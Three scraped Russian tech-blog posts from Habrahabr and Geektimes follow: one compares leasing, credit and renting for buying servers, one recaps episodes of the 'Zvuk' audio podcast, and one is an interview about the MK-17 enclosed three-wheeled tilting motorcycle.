Часто в небольших и средних организациях встречается ситуация, когда серверный парк требует расширения или обновления, но «денег нет, придумай что-нибудь». Обычных путей покупки дорогостоящего железа два: традиционный кредит и лизинг. Если с первым все понятно, то понятие «лизинг» обычно ассоциируется с автомобилями и анекдотами про золотую рыбку, хотя в реальной жизни это просто аренда с выкупом. Когда в следующий раз на совещании встанет вопрос о модернизации при отсутствии бюджета, у вас будет одним решением больше. Аренда без выкупа – VPS, IaaS или выделенный сервер – тоже кажется хорошим выходом при нехватке бюджета. Но экономия обычно перестает быть экономной уже через год: общая сумма выплат становится равной стоимости сервера, если не выше – подробные расчеты уже производились в одной из предыдущих статей . Зачем лизинг, ведь есть же кредит При сравнении с традиционным кредитом, ключевой разницей является предмет сделки. Благодаря кредиту мы получаем деньги, и уже на них покупаем интересующую вещь и становимся владельцем покупки. Если воспользоваться лизингом, то полученной вещью можно пользоваться, но ее владельцем на срок действия договора остается лизинговая организация. Как лыжи на прокат, только по окончании договора лизинга лыжи переходят в собственность арендатору. По другим параметрам оба финансовых инструмента схожи, и у обоих есть первоначальный взнос и процентная ставка (в лизинге используют термин «удорожание»). С финансовой точки зрения аренда с выкупом обычно дороже, но для покупателя итоговая выгодна может быть больше за счет уменьшения налогов, возвращения НДС и амортизации. Точнее нюансы производственных "оптимизаций" можно уточнить у бухгалтерии или в википедии . Общая схема лизинга аналогична кредиту: Покупатель вносит крупный первоначальный взнос; Затем платит ежемесячные платежи; По окончании срока лизинга покупатель выплачивает остаток. Графики ежемесячных платежей могут быть регрессивными (уменьшающимися) и аннуитетными (фиксированными), но иногда встречаются и сезонные платежи, при которых размер выплат зависит от сезона. Традиционный срок лизинга – от одного года до пяти лет. Приобретение в лизинг автомобилей и оборудования для производства считается обычной практикой. Но покупка серверов таким способом почему-то встречается реже, хотя принципиально ничем не отличается. Для наглядности разберем сценарий приобретения железа в лизинг и сравним расходы с другими способами получить желаемое. Налетай, не скупись, покупай ProLiant Итак, в ранее упомянутой вымышленной компании ООО "НЛО" запланировали расширение серверного парка, но с бюджетом не угадали. С этой головной болью отчаянно борется отдел ИТ, размышляя над планом победы и перебирая варианты. Как мы уже знаем, обычная аренда перестает быть выгодной максимум за год, но один из ее вариантов все же рассмотрим для иллюстрации. Ниже я составил сравнительную таблицу способов приобретения сервера HPE ProLiant DL380p G8 стоимостью 234 000 р. Предположим, что условия лизинга и кредита одинаковы: Первоначальный взнос 30%; Платежи аннуитетные (фиксированного размера); Эффективная ставка – 18% годовых; Срок 1 год; НДС будем считать 18%; Налог на прибыль – 20%; Аренда Покупка Кредит Лизинг разовый платеж 5 773 р.* 234 000 р. 70 200 р. 70 200 р. ежемесячный платеж 23 413 р.* 0 р. 15 017 р. 16 272 р. Итого, через год, с НДС 286 729 р. 234 000 р. 250 404 р. 265 467 р. Итого, через два года, с НДС 573 458 р. 234 000 р. 250 404 р. 265 467 р. Итого, через два года, без НДС 470 235 р. 191 880 р. 208 284 р. 217 682 р. Налог на прибыль, Экономия за два года 94 047 р. 38 376 р. 3 280 р.** 43 536 р. Итого, за два года с учетом экономии и налогов 376 188 р. 153 504 р. 205 004 р. 174 146 р. *Стоимость взята с сайта произвольного хостера по курсу евро на 20.12.2016. Предполагается, что хостер работает с НДС. **Налог на прибыль можно уменьшить только за счет уплаты процентов по кредиту. Для любопытных читателей поясню пару моментов по поводу налогообложения. НДС (налог на добавленную стоимость) – косвенный налог, который включают в стоимость счета. Если организация получает товары и услуги с НДС, а затем сама оказывает услуги или что-то продает, то можно уменьшить налог за счет уже уплаченного НДС. Для точности расчетов затрат на сервер используются суммы без НДС. Сумма налога на прибыль уменьшается с возрастанием расходов. Важный момент в том, что при выплате кредита к расходам можно отнести только проценты, так как полученные взаймы деньги расходами не считаются. Так достигается основная экономия при использовании лизинга. Таблица упрощена для простоты понимания – в ней не отражены инфляция и амортизация сервера. Но даже так видно, что лизинг получается выгоднее кредита. Ситуация может измениться, если компания работает по упрощенной системе налогообложения или у нее небольшая годовая прибыль. Поэтому лизинг имеет и противопоказания, из-за чего необходима консультация специалиста. Как и где оформить Как и кредит, аренду сервера с последующим выкупом сможет оформить не каждая организация. Но собственником оборудования остается лизинговая компания, поэтому требования к покупателю менее жесткие. На рынке можно встретить следующие условия: Компания существует больше года; Стоимость оборудования превышает 200 000 р; У компании есть офис; Срок аренды составит не более трех лет. Компаний, которые предоставляют услуги выкупа с арендой довольно много. Условно их можно поделить на три категории. Хостеры Предоставляют в аренду выделенный сервер с последующим выкупом. Основным условием является расположение сервера в ЦОД продавца на период аренды, а после всех выплат можно его забрать или продолжать платить за размещение в коммерческом дата-центре. В качестве примера приведу несколько известных на северо-западе представителей: Веб Дата-центр . Условия обсуждаются индивидуально, работа ведется через лизинговую компанию. Средний срок договора – 13 месяцев. Софтмагазин . Помимо аренды предоставляют услуги по обслуживанию серверов. Условия лизинга индивидуальны, срок 24-36 месяцев. Работают через лизинговую компанию. Агава . Срок договора составляет 3 года. Лизинговые компании-посредники на сайте не упомянуты. Лизинговые компании Часто это подразделения банков, выступающие посредниками между продавцом и покупателем. Есть и работающие без банков организации – они приобретают оборудование в кредит, и потом перепродают в лизинг. Типичные представители: ВТБ24 Лизинг ; Сбербанк Лизинг ; Интерлизинг . По договору лизинга обычно требуется залог, в качестве которого серверное оборудование не может выступать. Таким образом, аренда железа с последующим выкупом у таких компаний сопряжена с дополнительными сложностями – нужно предоставить в залог что-то еще. Поставщики оборудования Обычно сотрудничают с определенными лизинговыми компаниями. Но встречаются и работающие без посредников продавцы – однако, сумма сделок у них не слишком высока. Типичные представители: Avrorus . Условия индивидуальны; АСКОД . Стоимость оборудования от 500 т.р. до 60 млн. р, срок от 1 до 5 лет; Сервер Молл . При стоимости оборудования от 50 т.р до 1 млн. р. посредник в лице лизинговой компании не привлекается. Важный нюанс – в качестве обеспечения долга выступает приобретаемое оборудование. Выбор компании может быть обусловлен необходимостью аренды места в ЦОД, обслуживания и условиями предоставления лизинга. Выводы Сейчас приобретение серверов в лизинг не слишком популярно и трудно реализуемо в условиях малого бизнеса – сложности возникнут уже на этапе обеспечения залога. Считается, что в этом виновата инертность мышления собственников. Так это или нет – вопрос дискуссионный. На мой взгляд, плюсы лизинга есть как для тех организаций, которые не могут позволить себе единовременную покупку оборудования, так и для крупных предприятий, желающих оптимизировать расходы. Что думаете об аренде с выкупом оборудования вы – может, уже был подобный опыт?
https://habrahabr.ru/company/pc-administrator/blog/318414/
habrahabr
Подкаст «Звук»: Что мы успели обсудить за три года работы над передачей
['аудиомания', 'звук', 'подкаст', 'itunes']
К началу 4 года работы над подкастом «Звук» мы успели записать уже 38 выпусков. В каждом из них эксперты и я в роли ведущего знакомим слушателей с особенностями аудиотехники, разбираем мифы и...
К началу 4 года работы над подкастом «Звук» мы успели записать уже 38 выпусков. В каждом из них эксперты и я в роли ведущего знакомим слушателей с особенностями аудиотехники, разбираем мифы и неоднозначные вопросы из мира аудиоформатов и технологий. Фотография Iñaki de Bilbao / CC Все выпуски подкаста «Звук»: в iTunes / RSS / Веб-версия Ранее мы уже рассказывали о предпосылках запуска подкаста «Звук» и основных темах, которые мы успели разобрать за первый год работы над передачей. За это время ситуация с нехваткой профильных СМИ практически не изменилась: печатные издания постепенно уходят с рынка, а онлайн-журналы полностью переключились на смартфоны, IoT и гаджеты. Потребность слушать качественную музыку и получать удовольствие от просмотра фильмов дома никуда не исчезла. Наш скромный вклад в информационную составляющую этого процесса — суммарные 22 часа тематического контента и ответов на вопросы слушателей. Если основной темой для первого года работы стало своеобразное «развенчание мифов», то в дальнейшем мы постарались задействовать максимальное число экспертов и приглашенных спикеров, больше говорить о новых брендах и разработках в сфере аудио. Акустика Old School: Знакомство с историей бренда Тимофей Шиколенков, директор по маркетингу и развитию бизнеса в Аудиомании, рассказал о новом бренде акустики Old School . Этот бренд изначально ориентирован на Европу и построен с нуля, но и о позиционировании по отношению к Arslab мы не забыли и дали характеристику ситуации на российском рынке. Продукция Cold Ray: Какими могут быть приспособления для контроля резонансов В этом выпуске мы кратко обсуждаем историю бренда Cold Ray и приводим примеры целого спектра продуктов: от стоек для акустики до конусов и подставок под шип. Экосистема звука: Почему инженеры постоянно улучшают существующие модели аудиосистем Наша беседа с Юрием Фоминым, инженером-конструктором акустических систем, разработки которого лежат в основе акустики Arslab . На этот раз мы обсуждаем подход к модернизации акустики и возвращаемся к концепции индивидуальной «экосистемы звука». Старый новый винил: Его особенности и свойства В этом году к нам присоединился Керим Татевян, один из наиболее ярких экспертов Аудиомании, который успел поучаствовать в записи сразу нескольких выпусков. В рамках этой беседы мы вернулись к одной из наших любимых тем и поговорили о виниле. «Консервативный звук»: Обсуждаем Arslab и Penaudio Артем Фаермарк, основатель «Аудиомании», согласился рассказать нам о сотрудничестве с финским брендом Penaudio и поделился некоторыми нюансами консервативного подхода к созданию современной акустики. «Звукоцех»: Как создают звуковое оформление для кино Один из самых необычных выпусков о том, как создают звуковое оформление для сериалов и фильмов. Об этом нам рассказал Евгений Переяславцев, который изучал кинопроизводство в Santa Monica College в Лос-Анджелесе и сейчас работает на разных проектах в роли звукорежиссёра. «Смотрим дома»: Обсуждаем технологии и форматы Керим Татевян, эксперт в области проектирования систем домашнего кинотеатра, рассказал о новых возможностях домашних кинотеатров. Мы затронули формат Dolby Atmos, поговорили о проекторах и экранах. Старый новый звук: Мнения инженера и меломана Необычный выпуск сразу с двумя спикерами. Юрий Фомин, инженер-конструктор акустических систем и основатель проекта «F-Lab» и Андрей Компанеец, эксперт в области PR и маркетинга, поделились своим мнением относительно современного звука. Каждый инженер мечтает сделать S-90 20-й выпуск подкаста «Звук». Вас ждет беседа Тимофея (@timshick) с основателем и генеральным директором Аудиомании, Артемом Фаермарком, который поделился инсайтами из области производства акустики и рассказал об истории модели акустики Arslab Old School Superb 90 . Говорим о виниле: Мифы, мнения и текущая ситуация Один из классических выпусков нашей передачи, в котором timshick рассказывает о том, как изменились виниловые проигрыватели, комплектующие и разбирает различные мифы, связанные с темой винила. Отдельные части (а в последствии и целые выпуски) подкастов мы решили посвятить ответам на вопросы, которые наши слушатели могут оставить в отзывах к «Звуку» в iTunes (так слушатели могут влиять на темы, обсуждаемые в подкасте). Примеры Q&A-выпусков: 1 , 2 , 3 . В новом году мы продолжим знакомить вас с миром Hi-Fi в новых выпусках «Звука» [ iTunes — RSS — Веб ] и будем очень признательны, если у вас найдется время на прослушивание во время предстоящих каникул. Обратная связь приветствуется: нам будут интересны ваши рассказ о собственном опыте подбора аудиотехники и предложения по темам для обсуждения. Все выпуски подкаста [ читать ] [ слушать ] Акустика Old School; [ читать ] [ слушать ] Cold Ray и контроль резонансов; [ читать ] [ слушать ] Почему инженеры улучшают свою акустику; [ читать ] [ слушать ] Старый новый винил: Его особенности и свойства; [ читать ] [ слушать ] «Консервативный звук»: Обсуждаем Arslab и Penaudio; [ читать ] [ слушать ] «Смотрим дома»: Обсуждаем технологии и форматы; [ читать ] [ слушать ] «Звукоцех»: Как создают звуковое оформление для кино; [ читать ] [ слушать ] «Смотрим дома»: Dolby Atmos и его друзья; [ читать ] [ слушать ] Как аудиотехника попадает на полки магазинов. [ читать ] [ слушать ] Обсуждаем контекст современного звука; [ читать ] [ слушать ] Черная пятница и новогодние распродажи: Опыт Аудиомании; [ читать ] [ слушать ] «Музыкальный фастфуд»: Как может звучать массовый продукт; [ читать ] [ слушать ] Старый новый звук: Мнения инженера и меломана; [ читать ] [ слушать ] Ответы на вопросы слушателей подкаста; [ читать ] [ слушать ] Обсуждаем форматы аудио и видео; [ читать ] [ слушать ] Как хороший звук меняет образ жизни; [ читать ] [ слушать ] Кому может быть интересна разработка акустики; [ читать ] [ слушать ] Меломаны, сетевые проигрыватели и встраиваемая акустика; [ читать ] [ слушать ] Каждый инженер мечтает сделать S-90; [ читать ] [ слушать ] Простыми словами о наушниках и ЦАПах; [ читать ] [ слушать ] Говорим о виниле: Мифы, мнения и текущая ситуация; [ читать ] [ слушать ] Ответы на вопросы слушателей подкаста «Звук»; [ читать ] [ слушать ] Обсуждаем природу различного звучания акустики; [ читать ] [ слушать ] Акустика для фонового озвучивания помещений; [ читать ] [ слушать ] Ответы на вопросы слушателей подкаста; [ читать ] [ слушать ] Говорим о домашних кинотеатрах; [ читать ] [ слушать ] Интерьеры для звука; [ читать ] [ слушать ] Интерфейсы и кабели; [ читать ] [ слушать ] Простыми словами о цифровом и аналоговом звуке; [ читать ] [ слушать ] Домашняя акустика и ответы на вопросы; [ читать ] [ слушать ] Мнение инженера: Как создать свою экосистему звука; [ читать ] [ слушать ] Качество аудиосистем: Стоит ли доверять «красивым графикам»; [ читать ] [ слушать ] Ответы на вопросы слушателей; [ читать ] [ слушать ] Бас словами музыканта; [ читать ] [ слушать ] Аудиосистемы для дома и домашние кинотеатры; [ читать ] [ слушать ] Аудиотехника для дома и мероприятий; [ читать ] [ слушать ] Цифро-аналоговые преобразователи; [ читать ] [ слушать ] Портативные аудиосистемы. Выпуски нашего Аудиодайджеста [ #14: Удивительные свойства звука и аудиотехнологии ] [ #13 ] [ #12 ] [ #11 ] [ #10 ] [ #9 ] [ #8 ] [ #7 ] [ #6 ] [ #5 ] [ #4 ] [ #3 ] [ #2 ] [ #1 ]
https://geektimes.ru/company/audiomania/blog/284068/
habrahabr
Интервью с автором проекта МК-17, трёхколёсного крытого мотоцикла для российских погодных условий
['мк-17', 'казарцев', 'мотоцикл', 'кузов', 'зимой тепло', 'летом холодно', 'пробки', 'изобретатели', 'россия']
Этим летом команда проекта МК-17 представила свой первый публичный прототип – мотоцикл с тремя колёсами, кузовом и автоматической система наклона в поворотах. Мы решили взять интервью у российского...
Этим летом команда проекта МК-17 представила свой первый публичный прототип – мотоцикл с тремя колёсами, кузовом и автоматической система наклона в поворотах. Мы решили взять интервью у российского изобретателя, автора и вдохновителя проекта, Алексея Казарцева. В: Здравствуйте, Алексей. Я представляю сайт Geektimes.ru, мы пишем на технические и научно-популярные темы. Я заинтересовался вашим проектом, поскольку сам тоже интересуюсь мотоциклами… О: Да, здравствуйте, я знаю ваш сайт, с интересом читаю, недавно заинтересовала тема хакера Geohot, самостоятельно сделавшего автопилот. Мы скачали его проект, возможно, сделаем и у себя что-то подобное. В: На моей памяти в последнее время редко какие-то русские изобретатели выходили со своей идеей, причём уже в виде готового прототипа. Расскажите, пожалуйста, подробнее, как и когда у вас появилась идея проекта. О: Идея появилась, когда я в 2008 году стоял в пробке на Проспекте Мира в районе ВДНХ. Тогда два километра я смог проехать только за 1:30, завидуя мотоциклистам, передвигавшимся в этой пробке. И тогда я решил купить мотоцикл. Купил, но оказалось, что реально на нём в Москве можно ездить по два-три месяца в году. Знаю отважных людей, катающихся по полгода, но ездить в пиджаке на встречу на мотоцикле невозможно. Поэтому я подумал, что нужно сделать мотоцикл с кабиной. А потом я увидел интересный проект С-1 от Lit Motors . Есть в Калифорнии такой Дэвид Ким, и это его проект – двухколёсное транспортное средство с кабиной и силовым гиростабилизатором. Вот и я захотел сделать нечто подобное. В самом начале делал всё сам, за свои деньги – в тот момент я был совладельцем компании, занимавшейся разработкой банковского ПО . Я финансировал проект и работал конструктором. В дальнейшем набралась команда, которая тоже помогала и своим трудом, и возможностями своих компаний, и финансово. Сейчас наша команда состоит из 10 человек. В: А что означает название? О: Мы долго думали, как его назвать. Были названия разные – «Пробочник»… В: А «Штопор»? О: Да, и Штопор. В: Правда? О: Серьёзно. «Рапира» была, ну, дескать, узкая и быстрая. Но потом решили называть по принципу АК, автомата Калашникова – то есть, «Мотоцикл Казарцева». А цифра 17 – когда мы закончили основную разработку в 2015 году, выяснилось, что домены mk15 и mk16 были заняты. Был свободен mk17.ru В: Вот вы посмотрели на двухколёсный зарубежный аналог, но решили делать трёхколёсный аппарат? Почему? Чтоб он меньше падал? О: Да, он не падает, но сначала мы всё-таки начали проектировать двухколёсный аппарат. Но мы сами не специалисты по гироскопам – я прикладной математик, в команде – программисты. Это уже потом к нам подтянулись и механики, и инженеры. А тогда я познакомился с Нурбеем Владимировичем Гулиа . Это один из самых наших видных изобретателей. Про написано несколько книг, у него есть свои книги. Он один из тех, кто стоял у истоков АвтоВАЗа. Одно из его выдающихся изобретений — супермаховик . Я обратился к нему с просьбой рассчитать гиростабилизатор для нашего транспортного средства. Однако даже приблизительные прикидки показали, что разработка этой конструкции стоила бы в 2011 году 15 миллионов. Но это ещё полбеды – система получалась очень сложная и энергозатратная. Просто чтобы ТС стояло и не падало на бок, внутри него должен вращаться «блин» весом в 10-15 кг и скоростью более 5000 об/мин. Получается, что половина двигателя работает на вращение маховика. И мы отказались от этой идеи. В: Насколько я понимаю, маховик же как гироскоп, стремится сохранить положение в пространстве? Как с ним поворачивать? О: Да как обычно. Посмотрите интервью с Кимом на нашем канале на YouTube . У него интересный аппарат, который ездит и поворачивает, но пока особого экстрима в испытаниях не заметно. У маховика, держащего ТС вертикально, есть предельный угол наклона. Сильные наклоны и колебания он может не компенсировать. Но главная проблема – это энергозатраты. Двигатель в 50 лошадей 25 тратит на вращение маховика – это бессмысленно. В: Если обратить внимание на дорогу, то мотоциклисты там летом есть, а вот трайки (трёхколёсные) встречаются редко. Выглядят они необычно, но их почему-то очень мало по сравнению с мотоциклами. О: У них нет преимуществ мотоцикла. Они шириной с машину. Я ездил на Spyder, так у него ширина, по-моему, 1 м 30 см. В: То есть, он сочетает все недостатки. О: Да, он объединяет недостатки мотоцикла и автомобиля. В: Автомобили уже более 100 лет производят, мотоциклы начали ещё раньше делать. И почему-то до сих пор таких средств передвижения на дорогах нет. О: Это у вас информации мало. С этой идеей возятся уже с начала 1990-х. Есть швейцарская компания Peraves , выпускающая ТС MonoTracer. Вот, пожалуйста, коммерческий продукт, €52 000 – приезжайте, покупайте, катайтесь. В 90-х это называлось «экомобиль». На таких ТС катаются по Англии, Швейцарии, Европе. Он узкий, но по бокам есть два колёсика, и если они откидываются, то его ширина тоже становится 1,3 м. Есть ещё Carver One . Это трицикл с массивной кормой, два колеса сзади. Корма неподвижна, кабина наклоняется относительно кормы. Но тоже ширина 1,3 м – это плохо. Из по-настоящему узких проектов можно упомянуть начатый в 2008 году BMW Simple . Это пока проект, у них есть концепт, стоящий на выставке – с кабиной и салоном, и есть экспериментальный образец — рама на колёсах. В 2012 году проект был завершён. У меня есть источник информации в этой компании, и согласно ему, они отложили проект до «конца кризиса». Кризис к 2020-му году так или иначе завершится, и тогда они начнут вводить новые ТС. У Nissan есть проект Land Glider. Узкий, четырёхколёсный наклоняющийся автомобиль. Они его тоже заморозили примерно в 2012 году. Самый популярный из таких проектов – Toyota i-Road . Все начали разработку проектов примерно в одно время – BMW, Toyota, Nissan, мы. Toyota начала разработку в 2008, в 2013 дошли до серийного производства, в 2014-м выпустили ТС на улицы Токио и Гренобля для аренды, в 2015-м собирались выпускать в Милане. Так что такие ТС уже ездят по дорогам. В: А почему все эти фирмы начали вести подобные разработки в XXI веке? В предыдущем веке бензин был дешевле и дороги шире? О: Или пробки были не такие серьёзные. Это ведь ТС для города. А у нас хороший рынок для такого ТС, потому что у нас холодно. И кабина – означает печка. А вот когда мы, например, делали презентацию в Индии, там тоже заинтересовались этим ТС, потому что там кабина – значит кондиционер. В: А туда можно поставить кондиционер? О: Без проблем. Представьте, что вы распилили автомобиль пополам вдоль. Получится МК-17. Ставьте, что хотите. Багажник, кондиционер. В: Омыватель лобового стекла, дворники? О: Да, конечно. У меня с этим проектом была “идея фикс” – проехать в этой “моей” пробке на ВДНХ. И этой осенью эта мечта сбылась. Был дождь, температура близкая к нулю. И все получилось. В: А безопасность? Подушки, ABS? О: Конечно. Всё это можно установить. Больше всего споров со скептиками по поводу этого проекта как раз идёт вокруг вопроса о безопасности. Поскольку наш аппарат находится посередине между автомобилем и мотоциклом, то и безопасность у нас выше, чем у мотоцикла и ниже, чем у автомобиля. Этим он не отличается от аналогов, например от Toyota i-Road. Логично, что, например, у Ford Explorer безопасность выше, чем у Daewoo Matiz. По той простой причине, что Ford больше, а из активных систем установить в него можно всё, что угодно и подушки безопасности и ABS. В: А пилот должен ездить в мотоциклетной экипировке? О: Сейчас ТС классифицируется по категории L5 , симметричный трицикл. Естественно, требуется шлем. Но и ТС от Toyota относится к той же категории, так что формально там тоже требуется шлем. Думаю, что наш агрегат будем продавать вместе со шлемами-касками. Мы же законопослушные граждане. В: Я так понял, что ваша главная гордость – это разработанная с нуля интеллектуальная система стабилизации. О: Ну гордость – не гордость, но без неё бы аппарат просто не поехал, а своими разработками на эту тему другие изготовители с нами делиться бы всё равно не стали. Поэтому мы всё делали сами. Когда мы переходили с двухколёсного на трёхколёсный вариант, мы сначала сделали его со свободной подвеской – аналогом подвески скутера Piaggio MP3 . Это итальянский скутер с интересной свободной подвеской. Когда скутер стартует, подвеска “зажата” и скутер не наклоняется. Когда он разгоняется, она «расслабляется» и может наклоняться на манер мотоцикла. Мы тоже сделали первый прототип в таком духе – заказали в Европе подвеску от Piaggio, разобрали её и сделали аналог. Но оказалось, что большое тяжёлое ТС с кабиной в динамике отличается от небольшого скутера. Мотоцикл наклоняется за счёт подруливания, работы передним колесом. А когда подруливания не хватает, мотоциклист наклоняется, противодействуя центробежной силе. Когда же мотоцикл весит более 500 кг, то внутри кабины вы со своими 80 кг ничего с ним не сделаете. Приходится делать систему принудительного наклона. Ну а раз так, система должна чувствовать центробежную силу, компенсируемую наклоном – вот вам и акселерометр. Полотно дороги может и само быть негоризонтальным, на нем могут быть ямы – значит, нужен гироскоп, магнитометр. Все эти данные необходимо обрабатывать. Всё это мы поставили, снабдили промышленным компьютером, и после отладки и долгих тестов система заработала. Компьютер пока, конечно, не как у серийных образцов, не просто чёрная коробочка со вшитой программой. Необходим доступ для программистов, интерфейсы. В: А на чём пишут софт программисты? О: Если вы о языках, то это Си и Ассемблер. Если об алгоритмах, то можно было бы, конечно, построить математическую модель, по которой нужно высчитывать наклон. Но степеней свободы у системы слишком много, чтобы их каждый раз просчитывать, а времени на реакцию мало. Поэтому на основе испытаний была построена трёхмерная матрица-тензор, и теперь мы прогоняем информацию от датчиков через матрицу и получаем нужный набор параметров. Таким образом, достигается нужное быстродействие. Наклон от вертикали МК-17 — 15°. Примерно как у аналогов. Только Carver One наклоняется на 45°, но в этом нет особого смысла – так экстремально ездят только на мотогонках. Нам нужно осуществить этот наклон за секунду, а полный “веер”, от -15° до +15°, за полторы секунды. Вот такое быстродействие должно быть у электроники и силового привода чтобы отработать внешние воздействия примерно с такой скоростью, как это делает мотоциклист на обычном мотоцикле. И это диктует работу математической модели. Сейчас мы планируем доделать и отладить ПО, и будем регистрировать авторское право. По патентам у нас уже есть три заявки – промышленный образец, транспортное средство, передняя подвеска. ПО будет четвёртой, а дальше уже при выходе в серию запатентуем ещё несколько интересных вещей. Не такие, как у Apple про пакет с ручками , а более интересные. В: А всё-таки это транспортное средство может упасть? И можно ли его будет поднять, как мотоцикл? О: Уронить можно все что угодно. Как мотоцикл МК-17 поднять тяжело, он весит 600 кг, и это делать придётся вдвоём. Как 300-килограммовый Harley поднимают – нужно присесть, упереться спиной и распрямлять ноги. Но с другой стороны, МК-17 и уронить труднее. Это, как уже упоминалось, нечто среднее между автомобилем и мотоциклом. Автомобиль уронить набок ещё труднее, но и поднимать его придётся втроём-вчетвером. У нас есть несколько запатентованных идей. Наше ТС называется «узкое транспортное средство с кабиной, активной и пассивной системами стабилизации». На презентациях я показывал трюк – МК-17 стоял полностью наклонённый в одну сторону, я открывал дверь, и прыгал на его пороге, раскачивал. Он ведет себя как неваляшка и не падает – так работает пассивная система стабилизации. В: Сейчас ваш проект находится в стадии концепции платформы, на которую можно навесить что угодно? О: Да, это опытно-выставочный образец. Главное, что мы на нём отрабатывали – ширина и система стабилизации. До последнего времени это была рама на колёсах. Но так как первый этап НИОКР закончен, мы придали ему красивый внешний вид для показа «товара лицом». Теперь требуются средства на дальнейшую разработку. В: Нашли такие средства уже? О: На НИОКР и доделывание образца до серийного производства нет особых проблем найти средства. Но суть в том, что для изготовления серийных образцов нужно определиться с номенклатурой компонент. Если мы, допустим, договоримся о производстве ТС на конвейере АвтоВАЗ, то нам нужно подстраиваться под их номенклатуру. У нас идёт процесс поиска и выработки договорённости с производителями. Пока ничего неизвестно, но осторожный оптимизм есть. Есть и ещё один вариант – стапельная сборка, мелкая серия. Мы можем разработать все компоненты сами и заказать у индийцев и китайцев. В: Собирать в гараже? О: Ну, в ангаре, на самом деле. Принимать контейнеры с комплектующими, какие-то готовые, какие-то на заказ – и собирать самим. Но это получится мелкая серия, и цена изделия будет не такой низкой, как у конвейера. Это будет стоить 600-800 тысяч за штуку. А на конвейере – по 300 тысяч. Проблема ещё и в том, что если мы сначала начнём делать мелкую серию, «посылторг», а потом решим переходить на крупное серийное производство с компонентами автопроизводителя – придётся перепроектировать всё ТС, тратить много денег и времени. Поэтому необходимо определиться. Я считаю, что его нужно выпускать крупной серией. Если формально оценивать рынок, то точка входа на него – от 1% до 20% покупателей. То есть, в лучшем случае каждый пятый житель большого города предпочтёт вместо нового или б/у авто взять себе такой аппарат. Если мы возьмём среднее значение, между пессимистами и оптимистами, 10% — то для нашей страны получится рынок в 300 000 устройств в год. Это уровень АвтоВАЗ. Проектирование требует времени. На наш НИОКР, с неудачей с первым прототипом, ушло 5 лет. Сейчас мы планируем спроектировать серийный образец за 4 года. Казалось бы, долго – но и разработка уникальная, не просто очередной автомобиль. Даже в Toyota и BMW уходит примерно такое же время на такую разработку. В том же BMW для этого проекта взяли несколько конструкторов, дали средства проектирования, оборудование, помещения, комплектующие, наработки, финансы, и поручили сделать новое ТС. А чем мы хуже BMW? Мозги у нас не хуже, ПО у нас не хуже. Так что в нашем проекте вопрос уже не в том, будет ли он выпущен, а в том, как конкретно он будет выпускаться, и нужно ли будет два раза делать НИОКР: сначала на мелкую серию, и стапельную сборку, а потом на конвейер. В: Значит, краудфандинг вас не заинтересует? О: Заинтересует, если будем делать мелкую серию. Если мы не найдём хороший конвейер, большого производителя, то остановимся на мелкосерийном производстве. В: А почему бы не обратиться в Индию в ту же, с предложением сделать у них производство? О: У нас как раз в ЖЖ есть пост с сообщением ТАСС о том, что проект МК-17 произвел сенсацию на выставке БРИКС в Индии. Если мы будем делать МК-17 за границей, то и крупная серия будет продаваться за границей, а сюда уже будет идти импорт. Но если мы общаемся с иностранными производителями, то они будут обсчитывать свой рынок и свои потребности. Когда мы разрабатывали прототип, я поставил задачу конструкторам – использовать отечественные комплектующие. МК-17 на 85% состоит из наших компонент. Поэтому я бы хотел, чтобы это были наши производители, наш проект, наш аппарат. Хотя переделать его на компонентах других производителей, после всего, что мы уже прошли – проблем нет. В: А что по поводу силовой установки и коробки передач? Что насчёт модной темы электродвигателей? О: Я не был большим энтузиастом электромобилей, по одной причине: проблемы с аккумуляторами. У меня есть знакомые в России, имеющие Tesla. Ни одна Tesla в смешанном режиме более 200 км не проезжает. В нашем климате, на холоде, поехать к тёще в Нижний Новгород нельзя – придётся на ночь останавливаться во Владимире. Мгновенных электрозаправок нет. Я переписываюсь с одним ученым из Токийского университета. Они разрабатывают проект, в которой подъезжающему автомобилю быстро специальным краном меняют батарею. Но для этого должна быть специальная инфраструктура. Если выпускать что-то сейчас, приходится опираться на существующую инфраструктуру. В: Значит, ДВС? О: Ну почему. Пока нормальных батареек нет, можно делать гибрид. Знаете об изобретателе Дмитрии Александровиче Дуюнове ? Это один из выдающихся изобретателей в России. Он разработал намотку " Славянка " для своего асинхронного электродвигателя «Колобок». У него более 40 лицензиатов по стране, уже 4 года такие двигатели делают. В питерском метро перематывают двигатели на намотку «Славянка». Я катался на его скутере, в заднем колесе которого умещается двигатель. Основная проблема установкой в колесо электродвигателей – большая неподрессоренная масса, которую дают редкоземельные магниты. С намоткой Дуюнова, если сделать из заднего колеса МК-17 мотор-колесо, оно будет весить всего 40 кг. Так что мы сейчас планируем в серийном образце использование электромоторов Дуюнова. Вместо батарей — ДВС с генератором (тоже Дуюнова). В: А не слишком много инноваций для нового проекта? В Ё-мобиль тоже хотели много всего напихать. О: Не слишком много. По сути, у нас сейчас есть одна инновация: мы добились того, что наше транспортное средство при ширине 92 сантиметра ездит и не падает. В этом смысл нашей НИОКР. Электромоторы – не наша инновация. В: Я за время интервью узнал об изобретателях, о которых раньше не слышал даже. Мне кажется, проблема с нашими изобретателями в том, что они не умеют рекламировать себя, продавать себя. О: Не хотел бы вдаваться в политику сейчас, но ситуация с изобретательством у нас действительно оставляет желать лучшего. Эту точку зрения разделяют и другие, знакомые мне, изобретатели – такие, которым есть что реально показать. Я раньше работал над разработкой мобильного ПО для банков, и в гаджетах разбираюсь. И мне грустно, когда на выставках в качестве инноваций показывают “закруглённые уголки” или новые “мобильные приложения для продвинутого поиска покемонов” – это не те изобретения, которые чего-то стоят в перспективе, но их легко популяризовать и на них можно сделать быстрые деньги. Я надеялся на начало «новой индустриализации», на переход от “экономики безудержного потребления за счет продажи нефти” к производящей экономике. Пока всё выглядит не очень оптимистично и связано это с тем, что с окончанием “эпохи гламура” те, кто раньше занимался перепродажей чего-то иностранного быстро перебрались в государственные, производственные и научные структуры (им было не трудно, у них были деньги) и заверте… В результате мы видим засилие «эффективных менеджеров», «экономистов» и прочих торговцев там, где должны быть инженеры и ученые. Цель этих менеджеров – сделать быстрые деньги как это было в их прошлой жизни, на перепродаже. По-другому они не мыслят. В результате появляются такие, например, решения как ограничение сроков окупаемости инвестиционных проектов до одного года. Что можно за это время разработать, внедрить, продать и получить экономический эффект? Простейший узел? Гайку? Программу для ловли покемонов? Но все же я смотрю в будущее с определенным оптимизмом. Если, в конце концов, мы прорвём это сопротивление, то изобретательство получит развитие в нашей стране. Потенциал, как вы видите, у нас есть.
https://geektimes.ru/post/283742/
habrahabr
